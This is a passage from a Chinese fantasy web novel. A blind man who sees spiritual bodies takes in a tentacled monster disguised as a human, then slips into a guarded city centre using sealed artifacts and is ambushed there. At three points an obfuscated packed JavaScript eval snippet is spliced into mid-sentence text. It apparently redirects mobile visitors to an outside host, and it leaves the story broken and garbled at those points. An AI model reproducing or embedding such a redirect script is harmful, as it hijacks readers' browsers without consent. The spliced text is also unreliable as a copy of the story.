江言渊之前也和怪物打过交道，怪物不是人类，虽然从能力体系上看，怪物和异变者没有什么不同，但怪物在异变前毕竟不是人，这也导致他它们在异变之后，就算拥有了人的智力，思维却也和人类有着很大的区别。 因此江言渊怀疑，阿斯莫德口中的喜欢，很可能并不是人类广义上的那种定义。 说不定怪物脑袋里的喜欢，是对食物的喜欢，或者是别的什么意思。 他没遇到过说喜欢自己的怪物，倒是遇到过不少想要吃掉他的怪物。 江言渊虽然怀疑，却没打算把这点问清楚。 不管是哪种喜欢，只要阿斯莫德的目的是待在他身边，那就都没有关系。反正不管是哪种，都是要戒备的。江言渊勾起一抹笑，很是真诚地说：“我们还可以做朋友，不是吗？” 是的了，人类谈恋爱好像是按照步骤来，先认识，然后成为朋友，最后才是谈恋爱。阿斯莫德觉得没有任何问题，甚至很高兴自己刚才的表白没有打乱这个步骤。 “走吧。”江言渊感受到阿斯莫德的心情变得好起来了，并没有像刚才那样沮丧，心想这果然不是他的错觉，这个怪物确实很好忽悠。 很好忽悠的阿斯莫德被他带回了家。 IX城的城外圈并不适合居住。 IX的城区被分为三层，分别是最核心的城中心，然后是较为和平的内圈，以及混乱的城外圈。城外圈，流民、穷人、混吃等死的人、低等级的异变者的聚集地。 因为管理起来比较困难，因此城内管理者干脆不进行管理，做点污染防护就完事，至于其他的混乱，都当作视而不见。 江言渊在这里待了有很长一段时间，习惯了外圈的混乱。 他淡定地叮嘱阿斯莫德：“我们就要到了。如果看到什么奇怪的，你不用在意。” 阿斯莫德点点头。他知道的，在人类的城区里，不能随便出手，会有被抓走的风险。 过了一会儿，在他们都站在江言渊的房间门口的时候，阿斯莫德忽然说：“我有一个问题。” 江言渊抬起手，在自己的身份手环上摸索了一下，寻找着门钥，一边问：“什么？” “嗯……城区里面有污染物，也算是不需要在意的奇怪的东西吗？”阿斯莫德问。在他的精神力感知里，远处有一只污染物正在向他们狂奔而来。 很奇怪，人类的城区不是不允许污染物进入的吗？ 什么？ 江言渊的手一顿，他迅速展开了精神力。 很快，他也发现了阿斯莫德口中所说的污染物。想不发现有点难。那么大一个污染物……他没有眼睛也发现了喂！为什么污染物会进到城里面啊。 阿斯莫德问：“不进去吗？”他看见江言渊的手都放在手环上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691497|173371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，约莫这这是人类的科技，应该是可以通过这个开门什么的。 “……”现在的问题是进不进去吗？江言渊再一次意识到怪物的思维是和人类不一样的。 他站在那里没动，用仅有的思考时间想为什么污染物会出现在这里，他又要怎么解决才好。 污染物进城会有警报，会立刻通知到对应区域的巡卫官。污染物是人类公敌，就算是外圈也有负责这一块的巡卫官。 负责他这一块的巡卫官，他正好认识。以那个人的等级，很可能现在已经在赶过来的路上了。 又或者，已经在旁边看着了。 江言渊很快作出了判断，他后退一步，凭着精神力感知和大概的位置，抓住了阿斯莫德的手臂。 他有意让语气透着几分不安，说道：“不，这是不正常的，为什么污染物会到这里来？我们赶紧离开这里。” 赶紧离开是不太可能的，那污染物离他们的距离已经很近，且速度极快，估计只需要五秒不到的时间就会撞到他们的面前。江言渊在心底默念着。 三、二—— 没有一了，因为在污染物出现的那瞬，江言渊感受到了锋锐的精神力像弓箭一样从他身边掠过，他看见精神力的世界里，阿斯莫德的精神体以极快的速度伸出一根又长又粗的触手，刺穿了属于污染物的精神体。 所有生物都有精神体，污染物的精神体一般是红黑色的，形状虚幻扭曲。 江言渊听见耳边传来一声属于污染物的尖啸，这是这只污染物发出的第一声噪音，也是最后一声，污染物的精神体就像它出现的速度那样消散了。 阿斯莫德的触手扭了两下，慢慢地收了回来。 江言渊从那根黑漆漆的触手上感受到了一点情绪。他辨认了一下，发现居然是：真难吃，不好吃，塞牙缝都不够。 好吧，这下他知道阿斯莫德是以什么为食的了，不一定吃人，但是肯定□□神体，还有点挑食。 他知道自己所看见的是精神力的世界，他看不见现实世界是怎样的，不确定现实里阿斯莫德是不是也伸出了又长又粗的触手。 他装作什么都不知道的样子，更加靠近阿斯莫德，手不动声色地往下滑，碰到了阿斯莫德的手腕。 好的，可以肯定至少这只手没有变成触手。 “发生了什么？”江言渊可以装作什么都不知道，但刚才污染物发出了声音，他不能假装自己听力也失去了。 阿斯莫德轻晃了一下脑袋，比起不太习惯的精神力攻击，他还是喜欢用自己原本的触手。他看了眼距离他们三四米远，躺在走廊上的污染物，说：“这只污染物暴毙了。” 嚼嚼嚼，不好吃，他本来没打算吃的，嚼嚼嚼。 想了下，他觉得刚才的说法不太准确，于是很骄傲地加了一句：“我做的。” 适当地表现自己的实力，可以让人有好感。阿斯莫德想。 江言渊心想废话，不是你做的还能是谁做的，这里就他们几个。你这么说我还要想一下怎么给出合适的反应。 算了，这怪物应该很好敷衍，听他的声音像是想要夸奖，那就夸他一下。 江言渊敷衍的话到了嘴边，忽然发现阿莫斯德的精神体正在用触手抹嘴巴。 “……”他温和地开口问：“好吃吗？” 5. 第 5 章 “不……”阿斯莫德住嘴，飞快地改口，“什么？我没有吃东西。” “啊，没有，我是说，好厉害。”江言渊微笑，他的神情真诚，真诚到让阿斯莫德怀疑自己听错了。 江言渊觉得很神奇，自己是怎么从阿斯莫德一大团黑乎乎的精神体上看出眼睛嘴巴鼻子的。可能是因为触手抹嘴巴的动作太明显了吧。 不过现在，阿斯莫德的触手离开了嘴巴，正在迟疑地靠近他，在他面前晃了晃，似乎是想确认他看不看得见。 他当然是“看”不见的，江言渊表现得也像什么都看不见。 触手凑到了他的面前，这是他第一次近距离地观察陌生的精神体。 江言渊发现阿斯莫德的触手其实并不是完全的黑漆漆。触手上的吸盘是浅粉色的，莫名让江言渊想到了猫的肉垫。触手较粗的地方是深黑色，往上颜色一点点变浅，像是褪了色，到了触手尖尖，黑色带上了一点粉色。 粉黑色的触手尖尖扭了两下，见他一直没有反应，收了回去。 还好收了回去，江言渊想，这么在他面前晃，他真的心痒痒地想要捏一下，看看是不是真的有自己想象的那样好捏。 不对，这是阿斯莫德的精神体。精神体的话，就算碰到了，也不会产生“手感”这种东西。 所有生物都有精神体，在基础的精神体是一个光球，精神力等级越高，精神体的样子就会和本体越像。 所以说，阿斯莫德的本体应该也是和精神体一样的黑乎乎、有着很多触手的触手怪。可惜他只能看到精神体的世界。江言渊心里闪过一丝遗憾。 阿斯莫德感觉江言渊并不能看到自己的精神体。 如果看到了，他肯定会被自己凶狠的触手吓到！但是他没有表现，那就是看不到。阿斯莫德心想。至于刚才那句话，应该确实是自己听错了。 江言渊不知道阿斯莫德在想什么，但是阿斯莫德显然没有当场变回原型把他吃掉的打算。 那么明显的一句话，换成是别的什么人站在这里，估计早就意识到了什么吧，阿斯莫德却只怀疑了几秒，就不再去想了。 这怪物确实很好忽悠。江言渊确认了这一点。 他望向污染物尸体的方向，开口转移了阿斯莫德的注意力：“还好今天我不是一个人。” “是啊是啊，还好有我，我真厉害。”阿斯莫德觉得这是在夸他，迅速给自己脸上贴金。 江言渊很轻地勾了一下嘴角。其实就算没有阿斯莫德，今天的污染物对他来说也不足为惧，只是让他动手的话会有点麻烦。 他用精神力在附近搜了一圈，一无所获。 什么也没发现并不代表附近真的什么人也没有。江言渊认为，那位负责这一块的巡卫官，夏元新，不可能不在这里。 总是站在外面也有点奇怪，江言渊碰了一下手环，用门钥感应开门，说：“我们先进去吧。我需要去问问该怎么处理这具污染物的尸体。” 大部分久居在城内的人会把进城分配的许可证手环换为更高级的智脑，这样功能会更齐全。。 屋子门打开了，阿斯莫德跟在江言渊身后走进去，心想江言渊真厉害，居然能在城区里面有属于自己的房子。他之前偷听人类聊天的时候，知道房子这种东西哪怕是在城区外圈也是极为昂贵的，好像说是需要一个人五六十年省吃俭用的努力。 江言渊就像是知道他在想什么一样，说：“这里是我租的房子，暂时住一段时间，我等在给你收拾一间房间出来，希望你不会介意。” “当然不会！”阿斯莫德回答得飞快。他怎么可能会介意，他睡地板都可以！反正以前在森林里也是露天睡。 可惜的就是在人类的家里，他没有办法把触手放出来。 阿斯莫德好奇地打量这间屋子。 客厅里收拾得井井有条，干净得不像是有人生活。屋内的东西不多，有一些阿斯莫德叫不出名字的东西，窗台上摆放着一盆花，两间房间的门都紧闭着。 看上去很温馨，但是不知道为什么，阿斯莫德总觉得屋子里的摆设有些维和。他说不出来为什么，归为直觉，暂时抛在脑后。 他想起来自己刚才忘了说什么：“我可以自己收拾房间！我有手。” 还有很多手！只要你不看我，我就能偷偷用上我的很多只手。 阿斯莫德一点也没觉得自己收拾房间有什么不对，一头钻进了客房。 江言渊没有跟过去，他坐在沙发上，用智脑想找到夏元新的通讯码。 在拨通之前，他忽然想起什么，抬高音量，问还在房间里折腾的阿斯莫德：“说起来，你刚才在外面，除了那只污染物以外，还有发现什么吗？” 江言渊今天的精神力消耗有些大，因此回家的时候就没再用，他现在眼前的世界是一片漆黑，只能听见阿斯莫德应该是走出了房间，在不近不远的距离说：“发现什么？楼道里有个鬼鬼祟祟的人，一直在看我们，这算不算。” “算。”江言渊点头，“你继续吧。” 虽然让客人自己收拾房间有点奇怪，但阿斯莫德也不是人，不是吗？是怪物，客怪。还是自愿住过来的客怪。江言渊心安理得地靠在沙发上，让智脑拨出了通讯。 这下不会有错了，阿斯莫德口中鬼鬼祟祟的人，就算不是夏元新，也是他的下属。 夏元新，负责这一块的巡卫官，同时也是城中心那个大人物的私生子。 他这段时间和夏元新走得比较近，也借夏元新的势去了一次城中心，城中心那边可能发现了什么不对，怀疑到了他的身上。刚才忽然出现的污染物，应该就是一个试探，试探他是不是可疑的异变者。 “阿渊？怎么忽然打电话给我？”夏元新的声音响起。 “夏元新。”江言渊卡了一秒，觉得自己这个语气不够合适。他和阿斯莫德那家伙待了一会儿，差点忘记自己还需要装一下。他迅速地调整了一点自己的语气，让自己的语气听起来有些忧心忡忡，然后才继续说，“我刚才遇到了污染物，就在我家附近。” 夏元新立刻紧张了起来：“污染物？你现在还好吗？没有受伤吧？” 装，一起装。江言渊回答：“没有，我是和我朋友一起回来的。那只污染物被我朋友解决了，但是尸体现在还在原地，我不敢乱动。” 夏元新当然知道是怎么一回事，他此时就站在江言渊的家附近，就站在楼道里，他的视线落在江言渊的家中，想要透过厚厚的墙壁去看江言渊说话时的神情。 “那就好，你没事就好。”他说这句话的时候，一直没有表情的脸上终于有了波动，他是真心诚意地在表达对江言渊身体的关心。 他说：“我晚点来处理。你知道那只污染物是什么等级吗？” 江言渊迟疑了两秒才回答：“我，我不太清楚诶，我的精神力等级不算高，感觉不太出来，但应该是……比我的等级要高？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691498|173371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “阿渊，我找不到枕头。”阿斯莫德忽然从房间里出来了，江言渊一下没注意，被他吓了一跳，手机差点掉了。 “你朋友？”夏元新听到了。他之前从来没有听说过江言渊有什么朋友，这个时间突然出现一个朋友会不会太巧了。 江言渊抬头，放出精神力，看见属于阿斯莫德黑漆漆的精神体站在自己面前。 嗯……突然出现还是怪吓人的。 “是，他这段时间住在我家。”江言渊说。 “那先不打扰你了，等下见。” 通讯断了，江言渊看着阿斯莫德，可以肯定他刚刚绝对在偷听，不然怎么会忽然开始叫他阿渊。 “不想直接叫我名字吗？” 阿斯莫德被江言渊看得颇为心虚，他现在已经知道阿渊的眼睛看不到了，但还是在怀疑，阿渊会不会是能看穿人……怪心。 他结巴地回答：“不，不是，只是想这么叫你。” 他没有偷听。阿斯莫德心想，他只是听力太好，把所有声音都不小心地听了进去，这怎么能算偷听。 至于为什么在这个时候走出来，他只是听到阿渊在电话里说，自己是他的朋友，那么作为朋友，他出来问一下枕头在哪，不小心打断了两人说话，也是没有问题的！ 阿莫斯德理直气壮了起来。 他问：“那个声音好像就是这么叫你的，我不小心听到的，我也想这么叫，可以吗？” 阿渊比江言渊听起来要亲近一些，阿斯莫德想。他感觉得到阿渊不那么喜欢通讯那边那个什么夏元新，但阿渊可没有不喜欢他，他能感觉得到。阿渊都允许那个家伙这么叫了，肯定也会答应他的吧。 江言渊耸耸肩表示他可以随意，只是一个称呼而已。他更在意的是阿斯莫德突然开口会不会被夏元新盯上。算了，反正夏元新迟早会知道的。 夏元新在十多分钟后就出现在了江言渊的家门口，简单地了解情况就离开了，走之前有意无意地提到了一句，城中心出了点什么事，好像是发现了未被记载的封印物什么的。 封印物，是污染物、怪物或者异变者死之后的产物，拥有一些特殊的能力和很强的污染值，被用特殊手段封印之后成为了人类的工具。 江言渊手里也有一些。 江言渊再一次确定了夏元新确实是在试探自己。让人不悦的是，这一次明摆着的试探，他却不得不为此出门一趟。 因为如果夏元新说的是真的话，那么那个未被记载的封印物，很可能就是他留下的那个。 这个封印物在他的计划中至关重要，如果真的被发现了，那他的计划就要全部推翻，因此只是百分之零点几的可能，他也要去核实一遍。 —————— 深夜，四处都是一片漆黑，在城外圈，为了节约能源是不会在晚上开灯的。 不过这对江言渊来说没有什么影响，本来他的世界也是一片漆黑。 他悄无声息地展开精神力，精神力穿过墙，看见阿斯莫德黑漆漆的精神体趴在床上，睡得不成形状。 羡慕大晚上能好好睡觉的家伙。江言渊从床上爬了起来，穿好衣服无声地走出房间。 走出房门的第一步，他踩到了什么东西。 软绵绵的，有点弹性，还发出了一声奇怪的声响。 江言渊浑身绷紧，差点就叫了出声，背上冷汗都出来了，僵在那完全不敢动。 他踩到了什么？ 6. 第 6 章 他踩到了什么？ 过了好一会儿，江言渊才勉强找回理智去思考。 首先没有精神体的痕迹，说明是死物。不会是封印物，封印物也会有精神力。 江言渊能看见的只有精神力的世界，只要有精神力就能被他看见，但他看不见物体和死物，平时在家靠的是对家里家具摆放的习惯。 那为什么他的家里会突然出现完全陌生的东西？ 到底是什么？ 僵在这也不是个办法，江言渊深吸一口气，心想既然没有精神力，就意味着没有什么危险，他内心挣扎，在想要不要用手摸一下。 就在他挣扎的时候，那东西忽然动了起来。 江言渊心脏狂跳，甚至感觉到了那东西蹭了一下自己裸露的脚踝。 软软的，有点黏糊，触感冰凉，还有种奇怪的很难行动的感觉。 等下。江言渊好像知道这是什么了。 “……”不会是…… 他站在那感受了几秒，鼓起勇气，蹲下身精准地抓住。手指碰到了那软绵绵的东西，江言渊终于松了口气。 果然是你，阿斯莫德的触手！ 这和他当时看到阿斯莫德触手时脑补的手感一模一样。江言渊小心地把疑似阿斯莫德触手的东西提了起来。 他感觉有点奇怪，因为手里这显然不是完整的一长条触手，而是短短的一小截。 江言渊把这一小截触手握在手里，下意识地盘弄了一下。 触手的手感有点像那种解压玩具，毫无反抗地被捏瘪，又有一定的弹力，在松开力气的时候恢复原样。摸上去又有些像果冻，有点黏糊潮湿，但又不至于在他手里留下水渍。 确实很好捏。江言渊勾了一下唇，精神力朝着阿斯莫德房间的方向延伸过去，发现他还在睡觉，好像什么也不知道。 你本体都在睡觉，你怎么跑来了这里？江言渊低头，在心里对小触手说。 他集中精神力，想要好好检查一下手里的触手。 专注的精神力落在了小触手上，江言渊终于感受到了一点精神力的痕迹，很弱很弱，但确实是存在于小触手身上的。 几乎等于没有的精神力，哪怕是江言渊对精神力已经很敏感了，也都还要集中注意力才嫩看见。 但就这么一点，江言渊仔细观察了一下，发现这点精神力还有点独立思考的能力，不像是残留下来的精神力，而是那种被分出本体的完整但微弱的精神力，形成了一个极弱的精神体单位。 江言渊仔细分辨了一下精神体的情绪。 “睡觉，香香，江言渊，阿渊。” 嗯……出现在他房间门口，会念叨他也不奇怪。 所以阿斯莫德为什么要把这个放在他的房间门口？如果是想要监控他的一举一动，那为什么阿斯莫德不自己监控，反而在床上睡大觉？而且这么一小点精神体能做什么？江言渊百思不解，有一种把阿斯莫德摇醒然后拿着这截触手问他的冲动。 但他也只是想想。他当然不会做这种不理智的事。 江言渊感觉自己不能再磨蹭下去了。他本来是想把小触手放回原位的。但想了一下，他把小触手塞进了口袋。 正好，如果今天晚上他被人发现的话，就把这明显不是人类的东西丢下，可以用来误导人。 --------- 江言渊来到了城中心。 没有许可证的人是不被允许进入城中心的，按照常理来说，硬闯也是不可能的。 IX城区被分为城中心，内圈和外圈，越靠近中心，所受到的污染也就越轻，所生活的环境也就越好。无数人挤破了头都想要进入内圈，城中心那更是无数普通人和异变者都渴望进入的地方。 只是按照城区管理者们的意思，只有政治上的大人物，维护城区安全的强大异变者和他们的亲属才被允许自由进出城中心。 城中心的安全监控级别比外圈和内圈都要高上好几个级别，或者说根本无法相提并论。 江言渊是最清楚这一点的。 因为他进入外圈的时候只需要压制一下身上的污染值，进入内圈的时候只需要用精神力稍做一些手脚。 可在进入城中心的时候，他需要用上一些强力的封印物。 所有活着的生物都有精神力，根据精神力的强度，人类进行了简单的等级划分：普通人的精神力被划为三级，然后是二级，一级，以及精神力最庞大的特级。 江言渊已经走进了城中心，他的身后是一层无形的屏障。这是城中心的最基础的防御机制之一，是一件二级低阶的封印物，特性是只要被触碰就会发出警报。 但江言渊安然无事地走了过去。比起刚出门的时候，他的脖子上出现了一条项链。 银色的链条，倒挂着洁白的十字架。 这是江言渊所拥有的封印物之一，他给它取名为：[薛定谔的存在] 特性是能够将自身的存在消除。只是二级封印物，作用维持的时间很短，针对的也只能是不高于二级精神力的生物，但效果很独特，消除存在，意味着不会被任何生物或者是机械感知到。 [喂，把本大爷正着悬挂可以吗？] 粗声粗气的声音直接在江言渊的脑海里响起，他当作没有听见。 封印物具有一定的活性，会说话很正常。但大部分时候记得不要去理会他们，除非你不那么想活了。 江言渊虽然有办法进出城中心，但有些看管更加严密的地方，他没有办法靠这件二级封印物进入。 他手里还有另一件封印物，是成对的两只，是江言渊从别的人手上获得的，名字是[骨科才是最*的]，名字的奇怪不影响它能力的强大。特性是只要拿着其中一个，就可以无视空间和距离地传送到另一个所在的位置。 前不久，江言渊通过夏元新来过一次城中心，在那个时候把这对封印物的其中一个送去了合适的位置。 按照理论来说，他可以通过手里另一个封印物直接去到目的地，而不需要这么迂回地先进入城中心，然后再绕上几圈。 但问题在于，这对封印物的等级是一级高阶，距离特级只有一线之隔，这种程度的封印物，使用的时候需要付出一些代价。 一级封印物有更强的活性和更高的智力，想要使用它们就必须要满足他们提出来的要求。 比如[骨科才是最*的]，它们渴望血肉，很多很多的血肉，不满足它们就一动不动。 也不是一动不动。江言渊皱眉，他停下来了。 他现在已经到了[骨科才是最*的]其中一个的位置，但为什么另一个封印物毫无反应？ 难道说这件封印物真的被发现了？ 江言渊摸了一下放下口袋的封印物，那个时候，他借助夏元新，把[骨科才是最*的]中的哥哥送出去了，并且确定自己安排好了那只封印物的位置。 这两只封印物除了可以互相传送外，还能够在一定距离内发现对方的存在，一旦发现就会开始尖啸哭嚎。 但现在，他口袋里的[骨科才是最*的]中的弟弟一点动静也没有，静悄悄地让江言渊怀疑自己是不是其实并没有把它带上。 江言渊把它拿了出来。 [骨科才是最*的]外形上是两只木偶，他手里的这个是其中的弟弟。它们俩单独拿出来都是一级高阶的封印物，精神体非常接近原型，因此江言渊现在能够看见，朴素的木偶躺在他手心里，浑身僵直一动不动。 黑色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691499|173371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的纽扣眼睛疯狂地转动着，似乎是在向他传达什么。 那为什么不直接说话？它又不是不会说。江言渊疑惑。 很快他就知道为什么了。木偶躺在他手里一动不动，但还是有什么在触碰他的手指，有些湿润，是熟悉的感觉。 原来是你。江言渊松了口气。他就说，这可是一级封印物，怎么可能会无缘无故坏掉。 小触手的精神体实在是过于微弱，他必须要努力去看才能看得清，江言渊分多了一些精神力过去，才知道为什么[骨科才是最*的]会什么反应都没有。 它被触手狠狠勒住了脖子，难怪没法说话。好吧，怪他，怪他一没注意把小触手和木偶放在了一起。 他意识到了阿斯莫德的强大。仅仅只是一部分分/身，微弱得几乎看不见，居然都可以一定程度上压制一级封印物。不过他也很久没有给[骨科才是最*的]喂过食了，可能也确实是它比较虚弱。 知道问题就好解决了。江言渊小心地伸出手，扒拉了一下小触手，想把它拨下来。 小触手顺从地配合了他，一下就黏在了他的手指上。 但木偶显然不安分的，在江言渊伸手把小触手拨下去后一秒，它就张开了血盆大嘴，想要一口咬住江言渊的手。 它注定不会成功。 小触手狠狠给了他一巴掌，动作之快，让江言渊都没来得及用上自己的能力。 木偶卡壳了一下，两秒的安静后，开始大声哭嚎，浑身剧烈的抽搐，尖叫：[血血血！饿！好饿！哥哥哥哥哥哥哥哥哥哥！血血血！饿饿饿饿饿饿饿！哥哥哥哥！欺负我欺负我欺负我！] 简直就是精神污染。 声音是直接传入江言渊的大脑，刺得他一阵晕眩。不过这也确认了另一只封印物就在附近，并没有被发现。 很好……江言渊深吸一口气。 不就是一些精神力攻击，他可以忍受。只要离开了这一块就好了。 但不知道是不是因为木偶和哥哥有很长一段时间没有见面了，又饿久了，此时叫得比之前任何一次都声嘶力竭，撕心裂肺，充满了精神污染。 以江言渊的精神承受能力都有点受不了了。但最先发出抗议的是悬挂在他脖子上的十字架项链，它毕竟只是二级封印物，此时在大声抗议：[你再不让这小子闭嘴我就不干了！] [除非你把我正着挂。] 抗议之余还不忘趁机提出要求，那么就是还能撑。 江言渊还是没有理会它，用力收紧了手，用上了精神力，威胁道：“闭嘴，不然你这辈子也别想和你哥见面了。” 木偶弟弟停下了尖叫和哭闹，死死地盯着他看，过了几秒突然发出诡异的笑声：[没有吃的，你出不去，只能，用自己的血，嘻嘻。] 说完这句话之后，它又开始了大声尖叫哭嚎。 “……”拳头硬了。 江言渊思考着自己需不需要用一点暴力，忽然感觉手指正在被小触手扒拉。 他有了主意，低头问小触手，试着和它交流：“你能帮我解决它吗？” 小触手还真听懂了，飞快地从江言渊的手指上跳下，然后用力勒紧了木偶的脖子。 噪音戛然而止，江言渊满意了，觉得没有白把小触手带回来。 他摸了摸小触手的身体，毫不吝啬地夸了一句：“干得不错。” ------ 也就是在这个时候，还在家里呼呼睡大觉的阿斯莫德忽然醒了。他感觉自己做了个很好的梦。 好像梦到阿渊在夸他，还摸了他的触手。阿斯莫德对着天花板露出一个傻笑。 等等，说起来，阿渊去哪了？ 阿斯莫德终于发现了江言渊好像不在家里。 7. 第 7 章 江言渊可能是有事出去了？阿斯莫德用精神力感受了一下，并没有感觉到江言渊在附近。？ 但是现在还是晚上，阿渊会去哪？他以前也喜欢晚上出门，一般都是出去找点吃的。人类也会在大晚上觅食吗？他好像没有听说过，而且看隔壁几间房子里的人都是睡着的。 阿斯莫德睡不着了，他本来也不是特别需要睡觉，于是决定睁着眼睛等着江言渊回来。而且，除了江言渊不在屋子里以外，他还感觉到了一点不对，自己好像少了什么东西。 但具体是什么他也说不出来。 他想着反正江言渊不在家，他就大胆地变成了拟态。 大部分像阿斯莫德这种等级的怪物，都会有拟态，拟态一般是更利于行动的形态，在利于行动的同时保留了大部分本体的特殊能力，相比人形来说会少一些束缚。 阿斯莫德的拟态和本体相比来说要小很多。他坐在床上，开始清点自己的触手。 他的触手有一定的精神力，部分还凝出了精神体。他醒着的时候，触手都在他的控制下。但如果他睡着了，有些不太受控制的触手可能就会出走。 可能是少了的东西就是触手。 阿斯莫德拎起触手，挨个数了过去，反正也是打发时间。 他有些遗憾现在自己是在人类的城区。如果是在他的领地里，他还可以再好好保养一下自己的触手。 他这次出门急了一点，什么也没带。不知道有没有机会回去一趟。 阿斯莫德很喜欢自己的触手，黝黑发亮，又粗又长，充满着力量感，实际上也确实充满着力量，如果是本体形态的话，他稍微一用力把触手甩出去，就能解决一大片低级污染物。触手蜷曲了一下，阿斯莫德沾沾自喜，有种想要抽点什么的冲动。 不过他最后忍住了，他还没忘记自己现在并不是在城外。现在是在江言渊家，他不想自己一不小心就把阿渊家的家具弄坏了。 阿斯莫德欣赏着自己的触手，心想自己触手的颜色也很不错，非常低调的黑色，但又不是全黑，有点粉，黑粉多好看啊。 阿斯莫德晃着触手尖，感慨可惜的是没有人或者怪物能懂。 都没有品！ 不知道阿渊喜不喜欢粉色。阿斯莫德想，如果江言渊不喜欢粉色也没有关系，他可以变颜色，江言渊喜欢什么颜色他就变成什么颜色。 唉，可惜人类不喜欢怪物。阿斯莫德叹了口气，阿渊如果知道了自己的本体是怪物，肯定会立刻远离他的，他还是要隐藏起自己的身份才行。 啊，对了，他还要想办法再捏一张好看的脸，还要想办法帮助江言渊恢复视力。等阿渊回来，问问他视力的问题，然后看看自己能不能帮上忙。阿斯莫德把这条列入备忘录里。然后决定先趁着这个时候练习一下捏脸。他一定要捏出一张好看的脸！ ---- 木偶没法再发出声音了。江言渊却做出了一个让小触手惊讶的事。 他咬破了自己的手指，鲜血流出，他把血抹在木偶的脸上。 木偶脸上的神情立刻从愤懑和不甘变成了诡异的微笑，它费力地转动了一下脑袋，想要江言渊把血抹得更均匀一点，却被小触手更加大力地按住了。 小触手不解地想要碰碰江言渊的手指，江言渊却看也没看它，把他们一起塞进了衣服口袋。没有了木偶吵闹的声音，他感觉整个世界都安静了下来。 他简单处理了一下手指上的伤口，没有在这里久留，立刻就离开了这里。他也没急着离开城中心，而是去了别处。 他连续在几个地方都有停留，按照计划的路线绕着城中心转了一圈，直到重新来到城中心那层防御屏障附近。 他没有像进来时一样径直就往屏障里走。停下脚步时，他脖子上的十字架又一次开口了：[喂，你确定不准备把我正着挂吗？] 见江言渊还是不理他，[薛定谔的存在]不知道他是在思考还是真的没打算理会他，只好抬高了声音：[喂喂！] 江言渊叹了口气，说：“我知道你的意思。” 面前的屏障，相比他进来的时候已经发生了一些变化。其他人可能看不出来，但江言渊对精神力的感知比一般人要强很多，他能够看见很多同等级的异变者看不到的东西。 例如，他能够看出，面前的防御屏障已经被完全激活了。 现在如果是拿着二级封印物，他肯定是没有办法出去的。除非他同样把脖子上的十字架激活。也就是满足它的要求，把它正着悬挂。 江言渊就知道自己这趟行动不会一直无事发生，只是现在他不想那么快就激活封印物。激活封印物是释放它们被封印的力量，力量被释放的同时，污染也会跟着爆发，同时还会反噬持有者。 “现在还不是时候。”江言渊说，他不但没有把采取十字架的意见，相反的，他把十字架项链从脖子上取了下来，放回了口袋，他说，“一直跟着我的人，现在应该可以出来了吧。” 他用一些办法调整了声音，此时听到他声音的人，绝对不会把这个声音和他本人联系到一起。 他早就知道有人在跟踪自己，只是无法判断对方是什么时候出现的。 自己就要离开了，对方还没有出现的打算，那就是准备要在他离开的时候补刀了。他不相信放出诱饵让他今天来一趟的人会这么轻松地让他离开。 那与其在离开那瞬被偷袭，不如现在就让那人出来。 也就在他话音落下的那一瞬，有什么冰凉刺骨的东西突然出现在了他身边，说是身边其实不够准确，更准确地来说，是一把冰刀，凶狠地朝着他的肩膀刺了过来。 一般的刀具江言渊是无法看见的，但这显然是由精神力凝聚的刀他看得清清楚楚。 在看到冰蓝色的刀的那刻，他就知道自己来不及躲开了。 对方的速度远比他想象得要快。江言渊瞳孔收缩，精神力绷紧，死死地注视着那道伴随冰刀一起出现的精神体，他开口宣布：“禁止物理触碰！” 说出这句话后，他就感觉到喉咙一甜，血腥的味道涌上，他意识到袭击者的精神力等级要比他一开始猜测得更高。至少是一级中阶的异变者。 “咦？”一道女声在响起，似乎是惊讶自己的刀为什么偏离了方向。江言渊没有纠缠，猛地朝着防御屏障的位置冲去。 另一道声音响起，这次是一道男声，听起来也有些惊讶：“居然也是语言类的能力？还是说又用了封印物？那么这样的话……我猜你不想使用封印物。” 他的声音阴柔，带着蛊惑，说出最后一句话的时候，语气让人无法拒绝。 江言渊立刻就感到自己的意识变得顺从了起来，完全不想再去碰口袋里的封印物。 更糟糕的是，冰蓝色的刀又一次朝着他举起，寒气也带上了精神力，像寒潮一样朝着他袭来。 江言渊的能力不完整，刚才对女人下的令已经是他的极限。虽说命令是持续的，但女人似乎也意识到没法用刀碰到他，转而使用了寒气。 元素系就是难缠，江言渊在心里暗骂，就算禁止了物理接触，寒气的卷席也足够让他感到周身冰寒，速度也跟着慢了下来。 刀身再次擦着他的肩膀过去了，没有对他造成物理伤害，寒意却冻得他的手臂都附上了肉眼可见的薄冰。 男人的声音也在一旁问道：“你的目的是什么？报复还是利益？哪一家得罪了你？你一个人计划了很久吧，一定很寂寞吧，一定很想对我倾诉，是吗？” 